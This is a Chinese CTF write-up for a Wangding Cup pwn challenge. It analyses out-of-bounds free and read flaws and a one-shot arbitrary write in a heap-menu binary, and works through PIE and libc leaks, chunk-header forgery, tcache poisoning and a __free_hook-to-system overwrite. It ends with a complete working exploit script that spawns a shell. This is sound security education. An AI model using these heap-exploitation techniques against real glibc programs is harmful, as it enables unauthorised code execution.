前言
首发于先知社区:https://xz.aliyun.com/t/16074?time__1311=GuD%3DYKBK7IeRx05DKA81tDkFG8Bpphm3x
题目来自网鼎杯白虎组初赛pwn01,这个题目是常规的堆菜单题,但没有常见的堆溢出,双重释放,UAF问题,问题始于OOB漏洞,完成该题目的关键是想清楚OOB的利用目标,以及提供给了一个任意地址写666666的机会,只能写一次,这个又要如何使用,非常关键,然后其他的就是关于堆风水布局,劫持tcache指针,打Hook相关的知识了,蛮综合的一个题目
题目情况
题目给了一个libc-2.31.so,没给ld文件,得自己找一个
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
保护全开
逆向分析
运行菜单:
0e0e1f2c436a63282b6bd848a3be1105 ➤ ./pwn
1.add_chunk
2.delete_chunk
3.edit_chunk
4.show_chunk
Input your choice
main:
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
add_chunk();
break;
case 2:
delete_chunk(); // OOB
break;
case 3:
edit_chunk(); // 任意地址写666666
break;
case 4:
show_chunk(); // OOB
break;
case 5:
puts("bye");
exit(0);
default:
continue;
}
}
} // 有一个OOB的free和show,泄露出elf地址,还有一次任意地址写666666的机会
4个选项,其中case1:add_chunk
unsigned __int64 add_chunk()
{
int idx; // ebx
int idx_; // ebx
char buf[24]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-18h]
v4 = __readfsqword(0x28u);
if ( (unsigned int)chunk_index > 0x20 ) // chunk限制32个
exit(0);
if ( ptr[chunk_index] )
{
puts("error");
exit(0);
}
puts("Size :");
read(0, buf, 8uLL);
if ( atoi(buf) > 0x1000 || atoi(buf) <= 0x90 )// 必须大于0x90,小于0x1000
{
puts("error");
exit(1);
}
idx = chunk_index;
chunk_length[idx] = atoi(buf); // size装入数组
idx_ = chunk_index;
ptr[idx_] = (__int64)malloc((int)chunk_length[chunk_index]);// 申请内存
puts("Content :");
read(0, (void *)ptr[chunk_index], chunk_length[chunk_index]);// 读取内容
// 无溢出
++chunk_index;
return __readfsqword(0x28u) ^ v4;
}
申请的chunk限制不能超过0x20次
大小也有要求,必须是<=0x1000字节,且>0x90字节
满足要求之后,将读取的size装入数组中,将申请的内存也装入数组中,读取用户输入到该内存
不存在溢出
case2:delete_chunk
unsigned __int64 delete_chunk()
{
int v1[27]; // [rsp+Ch] [rbp-74h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Index :");
__isoc99_scanf("%d", v1); // 没有校验释放的指针索引范围,OOB?可以输入负数
free((void *)ptr[v1[0]]);
ptr[v1[0]] = 0LL; // 指针清零了
// 无uaf,double-free
// 但是size数组没有清零
return __readfsqword(0x28u) ^ v2;
}
这里刚开始看的时候一时间没看出来什么问题,获取数组索引,然后释放该索引对应的内存,数组指针清空
后来意识到,在申请的时候,有校验数组索引不超过0x20,而这里没有
存在OOB漏洞,可以越界释放,但是需要找一个fake header
case3:edit_chunk
unsigned __int64 edit_chunk()
{
_DWORD *buf; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("one chance for you");
if ( a ) // 全局变量
// 只能一次
exit(1);
puts("content :");
read(0, &buf, 8uLL); // 读取8字节到缓冲区,输入地址
*buf = 0xA2C2A; // 修改内容为666666
// 任意地址写666666
++a;
return __readfsqword(0x28u) ^ v2;
}
这里的a是全局变量,然后读取一个8字节地址,向该地址写入666666,也就是0xa2c2a
但是这里的buf是DWORD类型,写入的数据实际上是4个字节
这里题目给了一个任意地址写666666的操作
case4:show_chunk
unsigned __int64 show_chunk()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Index :");
__isoc99_scanf("%d", &v1);
puts((const char *)ptr[v1]); // 任意打印,OOB
return __readfsqword(0x28u) ^ v2;
}
类似delete_chunk,没有索引的大小验证,所以这里也存在OOB,可以任意读取
需要找一个指向指针的指针来泄露数据
利用分析
计划制定
整理一下现状:
- 程序存在OOB漏洞,可以越界释放内存,读取内存
- 程序提供了一次任意地址写666666的机会
- 程序动态链接libc-2.31版本,存在Hook可用
- 内存只有在申请的时候可以写入数据,然后再也不能写入数据了,且无溢出
程序存在指针数组和大小数组,需要pie泄露才能用,而任意地址写666666也需要pie泄露,我猜是用来写指针数组的或者写大小数组的
而通过OOB泄露内存地址,有可能可以获取到pie地址泄露
那么思路就是:
- 尝试OOB获取pie泄露
- 通过申请unsortedbin chunk释放再申请小块内存泄露libc地址
- 任意内存写篡改指针数组看看能做到什么
- 想办法得到一个重叠chunk,完成tcache bin chunk next指针伪造
辅助函数:
def cmd(i, prompt=b"Input your choice\n"):
sla(prompt, i)
def add(sz:int,content:bytes):
cmd('1')
sla(b"Size :\n",str(sz).encode())
sla(b"Content :\n",content)
#......
def free(idx:int):
cmd('2')
sla(b"Index :\n",str(idx).encode())
#......
def edit(content: bytes):
cmd('3')
sa(b"content :\n",content)
#......
def show(idx: int):
cmd('4')
sla(b"Index :\n",str(idx).encode())
#......
OOB leak pie address
程序运行起来,查看指针数组附近的内存:
pwndbg> x/50xa $rebase(0x4060)-0x100
0x555555557f60: 0x0 0x0
0x555555557f70: 0x0 0x3d88
0x555555557f80: 0x0 0x0
0x555555557f90 <free@got[plt]>: 0x7ffff7e6f6d0 <free> 0x7ffff7e59420 <puts>
0x555555557fa0 <__stack_chk_fail@got.plt>: 0x7ffff7f04a70 <__stack_chk_fail> 0x7ffff7ee2fc0 <read>
0x555555557fb0 <malloc@got[plt]>: 0x7ffff7e6f0e0 <malloc> 0x7ffff7e59ce0 <setvbuf>
0x555555557fc0 <atoi@got[plt]>: 0x7ffff7e195b0 <atoi> 0x7ffff7e380b0 <__isoc99_scanf>
0x555555557fd0 <exit@got[plt]>: 0x7ffff7e1ba40 <exit> 0x0
0x555555557fe0: 0x7ffff7df8f90 <__libc_start_main> 0x0
0x555555557ff0: 0x0 0x7ffff7e1bf10 <__cxa_finalize>
0x555555558000: 0x0 0x555555558008
0x555555558010: 0x0 0x0
0x555555558020 <stdout@@GLIBC_2.2.5>: 0x7ffff7fc26a0 <_IO_2_1_stdout_> 0x0
0x555555558030 <stdin@@GLIBC_2.2.5>: 0x7ffff7fc1980 <_IO_2_1_stdin_> 0x100000000
0x555555558040 <a>: 0x0 0x0
0x555555558050: 0x0 0x0
0x555555558060 <ptr>: 0x55555555b2a0 0x0
0x555555558070 <ptr+16>: 0x0 0x0
0x555555558080 <ptr+32>: 0x0 0x0
0x555555558090 <ptr+48>: 0x0 0x0
0x5555555580a0 <ptr+64>: 0x0 0x0
0x5555555580b0 <ptr+80>: 0x0 0x0
0x5555555580c0 <ptr+96>: 0x0 0x0
0x5555555580d0 <ptr+112>: 0x0 0x0
0x5555555580e0 <ptr+128>: 0x0 0x0
好巧不巧,这里正好有一个指向自己的指针:(是故意的还是有意的?)
0x555555558000: 0x0 0x555555558008
这里刚好能泄露出pie地址,计算偏移,这里是-11的位置
# leak pie address
show(-11)
leak = unpack(rl()[:-1],"all")
success(f"leak pie address: {hex(leak)}")
elf.address = leak-0x4008
success(f"elf base address: {hex(elf.address)}")
leak libc address
这里先放出代码:堆布局如下
# leak libc address
add(0x500,b"0")
add(0x108,b"1")
add(0x108,b"2")
free(0)
add(0x108,b"3")
show(3)
一个unsortedbin size chunk,后面的chunk是防止合并top chunk的
然后释放unsortedbin chunk,再申请小的chunk,此时发生的事情:
- 检查unsortedbin 大小是否刚好匹配,发现不匹配,把unsortedbin chunk sort进largebin 中,成为largebin chunk
- 发现没有合适的chunk,就从largebin中取出该chunk进行分割
- 分割出来的部分拿去分配,此时内存没有清空,残留的指针还在
- 分割剩下的部分继续进入unsortedbin
内存状态:
0x56126c051290 0x0000000000000000 0x0000000000000111 ................
0x56126c0512a0 0x00007fbdea590a33 0x00007fbdea59b010 3.Y.......Y.....
0x56126c0512b0 0x000056126c051290 0x000056126c051290 ...l.V.....l.V..
0x56126c0512c0 0x0000000000000000 0x0000000000000000 ................
0x56126c0512d0 0x0000000000000000 0x0000000000000000 ................
0x56126c0512e0 0x0000000000000000 0x0000000000000000 ................
0x56126c0512f0 0x0000000000000000 0x0000000000000000 ................
0x56126c051300 0x0000000000000000 0x0000000000000000 ................
0x56126c051310 0x0000000000000000 0x0000000000000000 ................
0x56126c051320 0x0000000000000000 0x0000000000000000 ................
0x56126c051330 0x0000000000000000 0x0000000000000000 ................
0x56126c051340 0x0000000000000000 0x0000000000000000 ................
0x56126c051350 0x0000000000000000 0x0000000000000000 ................
0x56126c051360 0x0000000000000000 0x0000000000000000 ................
0x56126c051370 0x0000000000000000 0x0000000000000000 ................
0x56126c051380 0x0000000000000000 0x0000000000000000 ................
0x56126c051390 0x0000000000000000 0x0000000000000000 ................
0x56126c0513a0 0x0000000000000000 0x0000000000000401 ................ <-- unsortedbin[all][0]
0x56126c0513b0 0x00007fbdea59abe0 0x00007fbdea59abe0 ..Y.......Y.....
0x56126c0513c0 0x0000000000000000 0x0000000000000000 ................
0x56126c0513d0 0x0000000000000000 0x0000000000000000 ................
0x56126c0513e0 0x0000000000000000 0x0000000000000000 ................
0x56126c0513f0 0x0000000000000000 0x0000000000000000 ................
0x56126c051400 0x0000000000000000 0x0000000000000000 ................
0x56126c051410 0x0000000000000000 0x0000000000000000 ................
0x56126c051420 0x0000000000000000 0x0000000000000000 ................
0x56126c051430 0x0000000000000000 0x0000000000000000 ................
0x56126c051440 0x0000000000000000 0x0000000000000000 ................
0x56126c051450 0x0000000000000000 0x0000000000000000 ................
0x56126c051460 0x0000000000000000 0x0000000000000000 ................
0x56126c051470 0x0000000000000000 0x0000000000000000 ................
由此泄露出libc地址和heap地址
play on arbitrary write 666666
此时的指针数组如下:
pwndbg> dq $rebase(0x4060)
000055eeb806b060 0000000000000000 000055eeb8d947b0
000055eeb806b070 000055eeb8d948c0 000055eeb8d942a0
000055eeb806b080 0000000000000000 0000000000000000
000055eeb806b090 0000000000000000 0000000000000000
此时OOB已经用完了,拿到了pie leak,libc leak和heap leak也拿到了
接下来该考虑如何使用这个任意地址写666666了
数组指针在申请的时候会装入,在释放的时候会清空,再无其他用处
大小数组也只有在申请的时候会写入,再无其他写入机会
所以能任意写的目标一定不是大小数组,而很可能是指针数组
经过尝试之后,发现我可以通过调整地址,让这一次任意写达到清空任意指针末尾字节的作用:
# arbitrary write 666666
edit(pack(elf.address + 0x4068-3))
此时的指针数组如下:
pwndbg> dq $rebase(0x4060)
0000561a322f5060 0a2c2a0000000000 0000561a32a72700
0000561a322f5070 0000561a32a728c0 0000561a32a722a0
0000561a322f5080 0000000000000000 0000000000000000
0000561a322f5090 0000000000000000 0000000000000000
那我再次释放内存的时候,岂不是从这个新的地址进行释放了!
此时的内存:
0x561a32a72260 0x0000000000000000 0x0000000000000000 ................
0x561a32a72270 0x0000000000000000 0x0000000000000000 ................
0x561a32a72280 0x0000000000000000 0x0000000000000000 ................
0x561a32a72290 0x0000000000000000 0x0000000000000111 ................
0x561a32a722a0 0x00007f225ffd0a33 0x00007f225ffd2010 3.._".... ._"...
0x561a32a722b0 0x0000561a32a72290 0x0000561a32a72290 .".2.V...".2.V..
0x561a32a722c0 0x0000000000000000 0x0000000000000000 ................
0x561a32a722d0 0x0000000000000000 0x0000000000000000 ................
0x561a32a722e0 0x0000000000000000 0x0000000000000000 ................
0x561a32a722f0 0x0000000000000000 0x0000000000000000 ................
0x561a32a72300 0x0000000000000000 0x0000000000000000 ................
0x561a32a72310 0x0000000000000000 0x0000000000000000 ................
0x561a32a72320 0x0000000000000000 0x0000000000000000 ................
0x561a32a72330 0x0000000000000000 0x0000000000000000 ................
0x561a32a72340 0x0000000000000000 0x0000000000000000 ................
0x561a32a72350 0x0000000000000000 0x0000000000000000 ................
0x561a32a72360 0x0000000000000000 0x0000000000000000 ................
0x561a32a72370 0x0000000000000000 0x0000000000000000 ................
0x561a32a72380 0x0000000000000000 0x0000000000000000 ................
0x561a32a72390 0x0000000000000000 0x0000000000000000 ................
0x561a32a723a0 0x0000000000000000 0x0000000000000401 ................ <-- unsortedbin[all][0]
0x561a32a723b0 0x00007f225ffd1be0 0x00007f225ffd1be0 ..._"......_"...
0x561a32a723c0 0x0000000000000000 0x0000000000000000 ................
0x561a32a723d0 0x0000000000000000 0x0000000000000000 ................
0x561a32a723e0 0x0000000000000000 0x0000000000000000 ................
0x561a32a723f0 0x0000000000000000 0x0000000000000000 ................
0x561a32a72400 0x0000000000000000 0x0000000000000000 ................
0x561a32a72410 0x0000000000000000 0x0000000000000000 ................
0x561a32a72420 0x0000000000000000 0x0000000000000000 ................
0x561a32a72430 0x0000000000000000 0x0000000000000000 ................
0x561a32a72440 0x0000000000000000 0x0000000000000000 ................
显然,这个地址位于tcache结构体内部,我无法在此处伪造chunk header
接下来就需要重新进行堆布局和伪造头部,完成这个fake chunk的释放了!
Heap Fengshui + forge chunk header
在原本的堆布局前面再加一个小的chunk,让unsortedbin size chunk申请的时候指针位于0x3xx这样的位置,这样就能够在这个小的chunk中间伪造chunk header了
payload0 = flat({
0x58:pack(0x311)
},filler=b"\x00")
# leak libc address
add(0x108,payload0)
add(0x500,b"1")
add(0x108,b"2")
add(0x108,b"3")
free(1)
add(0x108,b"4")
show(4)
# arbitrary write 666666
edit(pack(elf.address + 0x4068-3 + 24))
此时的指针数组:
pwndbg> dq $rebase(0x4060)
000055a6f177d060 000055a6f37492a0 0000000000000000
000055a6f177d070 000055a6f37498c0 0a2c2aa6f37499d0
000055a6f177d080 000055a6f3749300 0000000000000000
000055a6f177d090 0000000000000000 0000000000000000
此时的内存:
0x55a6f3749290 0x0000000000000000 0x0000000000000111 ................ <-- chunk 0
0x55a6f37492a0 0x0000000000000000 0x0000000000000000 ................
0x55a6f37492b0 0x0000000000000000 0x0000000000000000 ................
0x55a6f37492c0 0x0000000000000000 0x0000000000000000 ................
0x55a6f37492d0 0x0000000000000000 0x0000000000000000 ................
0x55a6f37492e0 0x0000000000000000 0x0000000000000000 ................
0x55a6f37492f0 0x0000000000000000 0x0000000000000311 ................ <-- fake chunk header
0x55a6f3749300 0x000000000000000a 0x0000000000000000 ................
0x55a6f3749310 0x0000000000000000 0x0000000000000000 ................
0x55a6f3749320 0x0000000000000000 0x0000000000000000 ................
0x55a6f3749330 0x0000000000000000 0x0000000000000000 ................
0x55a6f3749340 0x0000000000000000 0x0000000000000000 ................
0x55a6f3749350 0x0000000000000000 0x0000000000000000 ................
0x55a6f3749360 0x0000000000000000 0x0000000000000000 ................
0x55a6f3749370 0x0000000000000000 0x0000000000000000 ................
0x55a6f3749380 0x0000000000000000 0x0000000000000000 ................
0x55a6f3749390 0x0000000000000000 0x0000000000000000 ................
0x55a6f37493a0 0x0000000000000000 0x0000000000000111 ................ <-- chunk 4
0x55a6f37493b0 0x00007fe5ec120a34 0x00007fe5ec12f010 4...............
0x55a6f37493c0 0x000055a6f37493a0 0x000055a6f37493a0 ..t..U....t..U..
0x55a6f37493d0 0x0000000000000000 0x0000000000000000 ................
0x55a6f37493e0 0x0000000000000000 0x0000000000000000 ................
0x55a6f37493f0 0x0000000000000000 0x0000000000000000 ................
0x55a6f3749400 0x0000000000000000 0x0000000000000000 ................
0x55a6f3749410 0x0000000000000000 0x0000000000000000 ................
0x55a6f3749420 0x0000000000000000 0x0000000000000000 ................
0x55a6f3749430 0x0000000000000000 0x0000000000000000 ................
0x55a6f3749440 0x0000000000000000 0x0000000000000000 ................
0x55a6f3749450 0x0000000000000000 0x0000000000000000 ................
0x55a6f3749460 0x0000000000000000 0x0000000000000000 ................
0x55a6f3749470 0x0000000000000000 0x0000000000000000 ................
0x55a6f3749480 0x0000000000000000 0x0000000000000000 ................
0x55a6f3749490 0x0000000000000000 0x0000000000000000 ................
0x55a6f37494a0 0x0000000000000000 0x0000000000000000 ................
0x55a6f37494b0 0x0000000000000000 0x0000000000000401 ................ <-- unsortedbin[all][0]
0x55a6f37494c0 0x00007fe5ec12ebe0 0x00007fe5ec12ebe0 ................
0x55a6f37494d0 0x0000000000000000 0x0000000000000000 ................
0x55a6f37494e0 0x0000000000000000 0x0000000000000000 ................
此时释放该chunk,即可将fake chunk装入tcachebin,且size为0x310
此时的chunk4是失控的,因为他的指针被该了,无法进入内存,所以需要这个fake chunk能覆盖到下一个chunk上去,此时需要重新布局堆内存:
payload0 = flat({
0x58:pack(0x311)
},filler=b"\x00")
# leak libc address
add(0x108,payload0)
add(0x500,b"1")
add(0x108,b"2")
add(0x108,b"3")
free(1)
add(0x108,b"4"*7)
add(0x108,b"5")
add(0x108,b"6")
内存布局如下
0x55b5eacb2290 0x0000000000000000 0x0000000000000111 ................ <-- chunk 0
0x55b5eacb22a0 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb22b0 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb22c0 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb22d0 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb22e0 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb22f0 0x0000000000000000 0x0000000000000311 ................
0x55b5eacb2300 0x0000000000000000 0x000055b5eacb2010 ......... ...U.. <-- tcachebins[0x310][0/1]
0x55b5eacb2310 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2320 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2330 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2340 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2350 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2360 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2370 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2380 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2390 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb23a0 0x0000000000000000 0x0000000000000111 ................ <-- chunk 4
0x55b5eacb23b0 0x0a34343434343434 0x00007f0b57b9d010 4444444....W....
0x55b5eacb23c0 0x000055b5eacb23a0 0x000055b5eacb23a0 .#...U...#...U..
0x55b5eacb23d0 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb23e0 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb23f0 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2400 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2410 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2420 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2430 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2440 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2450 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2460 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2470 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2480 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2490 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb24a0 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb24b0 0x0000000000000000 0x0000000000000111 ................ <- chunk 5
0x55b5eacb24c0 0x00007f0b57b90a35 0x00007f0b57b9cbe0 5..W.......W....
0x55b5eacb24d0 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb24e0 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb24f0 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2500 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2510 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2520 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2530 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2540 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2550 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2560 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2570 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2580 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb2590 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb25a0 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb25b0 0x0000000000000000 0x0000000000000000 ................
0x55b5eacb25c0 0x0000000000000000 0x0000000000000111 ................ <- chunk 6
得到了重叠chunk,再次申请一个0x308字节,就可以控制chunk5的内容了
Hijack tcachebin chunk next ptr
需要释放相同大小的chunk拿到可申请次数:
# tcache attack
payload1 = flat({
0xa8:pack(0x111),
0x1b8:pack(0x111),
0x1c0:pack(0xdeadbeef) + pack(0xdeadbeef)
},filler=b"\x00")
free(6)
free(5)
add(0x308,payload1)
此时的内存:
0x560c25329290 0x0000000000000000 0x0000000000000111 ................ <-- chunk 0
0x560c253292a0 0x0000000000000000 0x0000000000000000 ................
0x560c253292b0 0x0000000000000000 0x0000000000000000 ................
0x560c253292c0 0x0000000000000000 0x0000000000000000 ................
0x560c253292d0 0x0000000000000000 0x0000000000000000 ................
0x560c253292e0 0x0000000000000000 0x0000000000000000 ................
0x560c253292f0 0x0000000000000000 0x0000000000000311 ................ <-- fake chunk
0x560c25329300 0x0000000000000000 0x0000000000000000 ................
0x560c25329310 0x0000000000000000 0x0000000000000000 ................
0x560c25329320 0x0000000000000000 0x0000000000000000 ................
0x560c25329330 0x0000000000000000 0x0000000000000000 ................
0x560c25329340 0x0000000000000000 0x0000000000000000 ................
0x560c25329350 0x0000000000000000 0x0000000000000000 ................
0x560c25329360 0x0000000000000000 0x0000000000000000 ................
0x560c25329370 0x0000000000000000 0x0000000000000000 ................
0x560c25329380 0x0000000000000000 0x0000000000000000 ................
0x560c25329390 0x0000000000000000 0x0000000000000000 ................
0x560c253293a0 0x0000000000000000 0x0000000000000111 ................ <-- chunk 4
0x560c253293b0 0x0000000000000000 0x0000000000000000 ................
0x560c253293c0 0x0000000000000000 0x0000000000000000 ................
0x560c253293d0 0x0000000000000000 0x0000000000000000 ................
0x560c253293e0 0x0000000000000000 0x0000000000000000 ................
0x560c253293f0 0x0000000000000000 0x0000000000000000 ................
0x560c25329400 0x0000000000000000 0x0000000000000000 ................
0x560c25329410 0x0000000000000000 0x0000000000000000 ................
0x560c25329420 0x0000000000000000 0x0000000000000000 ................
0x560c25329430 0x0000000000000000 0x0000000000000000 ................
0x560c25329440 0x0000000000000000 0x0000000000000000 ................
0x560c25329450 0x0000000000000000 0x0000000000000000 ................
0x560c25329460 0x0000000000000000 0x0000000000000000 ................
0x560c25329470 0x0000000000000000 0x0000000000000000 ................
0x560c25329480 0x0000000000000000 0x0000000000000000 ................
0x560c25329490 0x0000000000000000 0x0000000000000000 ................
0x560c253294a0 0x0000000000000000 0x0000000000000000 ................
0x560c253294b0 0x0000000000000000 0x0000000000000111 ................ <-- chunk5
0x560c253294c0 0x00000000deadbeef 0x00000000deadbeef ................ <-- tcachebins[0x110][0/2]
0x560c253294d0 0x000000000000000a 0x0000000000000000 ................
0x560c253294e0 0x0000000000000000 0x0000000000000000 ................
0x560c253294f0 0x0000000000000000 0x0000000000000000 ................
0x560c25329500 0x0000000000000000 0x0000000000000000 ................
0x560c25329510 0x0000000000000000 0x0000000000000000 ................
0x560c25329520 0x0000000000000000 0x0000000000000000 ................
0x560c25329530 0x0000000000000000 0x0000000000000000 ................
0x560c25329540 0x0000000000000000 0x0000000000000000 ................
0x560c25329550 0x0000000000000000 0x0000000000000000 ................
0x560c25329560 0x0000000000000000 0x0000000000000000 ................
0x560c25329570 0x0000000000000000 0x0000000000000000 ................
此时的bin:
pwndbg> bin
tcachebins
0x110 [ 2]: 0x560c253294c0 ◂— 0xdeadbeef
fastbins
empty
unsortedbin
all: 0x560c253296d0 —▸ 0x7f2a167d1be0 ◂— 0x560c253296d0
smallbins
empty
largebins
empty
可以看到,已经劫持了tcachebin chunk的next指针了
接下来就是申请走__free_hook写入system然后释放一个写有/bin/sh
的chunk即可:
add(0x108,b"/bin/sh\x00")
add(0x108,pack(libc.sym.system))
free(8)
完整exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
set_remote_libc('libc-2.31.so')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def cmd(i, prompt=b"Input your choice\n"):
sla(prompt, i)
def add(sz:int,content:bytes):
cmd('1')
sla(b"Size :\n",str(sz).encode())
sla(b"Content :\n",content)
#......
def free(idx:int):
cmd('2')
sla(b"Index :\n",str(idx).encode())
#......
def edit(content: bytes):
cmd('3')
sa(b"content :\n",content)
#......
def show(idx: int):
cmd('4')
sla(b"Index :\n",str(idx).encode())
#......
# leak pie address
show(-11)
leak = unpack(rl()[:-1],"all")
success(f"leak pie address: {hex(leak)}")
elf.address = leak-0x4008
success(f"elf base address: {hex(elf.address)}")
payload0 = flat({
0x58:pack(0x311)
},filler=b"\x00")
# leak libc address
add(0x108,payload0)
add(0x500,b"1")
add(0x108,b"2")
add(0x108,b"3")
free(1)
add(0x108,b"4"*7)
add(0x108,b"5")
add(0x108,b"6")
show(4)
leak = r(8+6)[8:]
leak = unpack(leak,"all")
success(f"leak libc address: {hex(leak)}")
libc.address = leak-0x1ed010
success(f"libc base address: {hex(libc.address)}")
# arbitrary write 666666
edit(pack(elf.address + 0x4068-3 + 24))
free(4)
# tcache attack
payload1 = flat({
0xa8:pack(0x111),
0x1b8:pack(0x111),
0x1c0:pack(libc.sym.__free_hook) + pack(0xdeadbeef)
},filler=b"\x00")
free(6)
free(5)
add(0x308,payload1)
add(0x108,b"/bin/sh\x00")
add(0x108,pack(libc.sym.system))
free(8)
ia()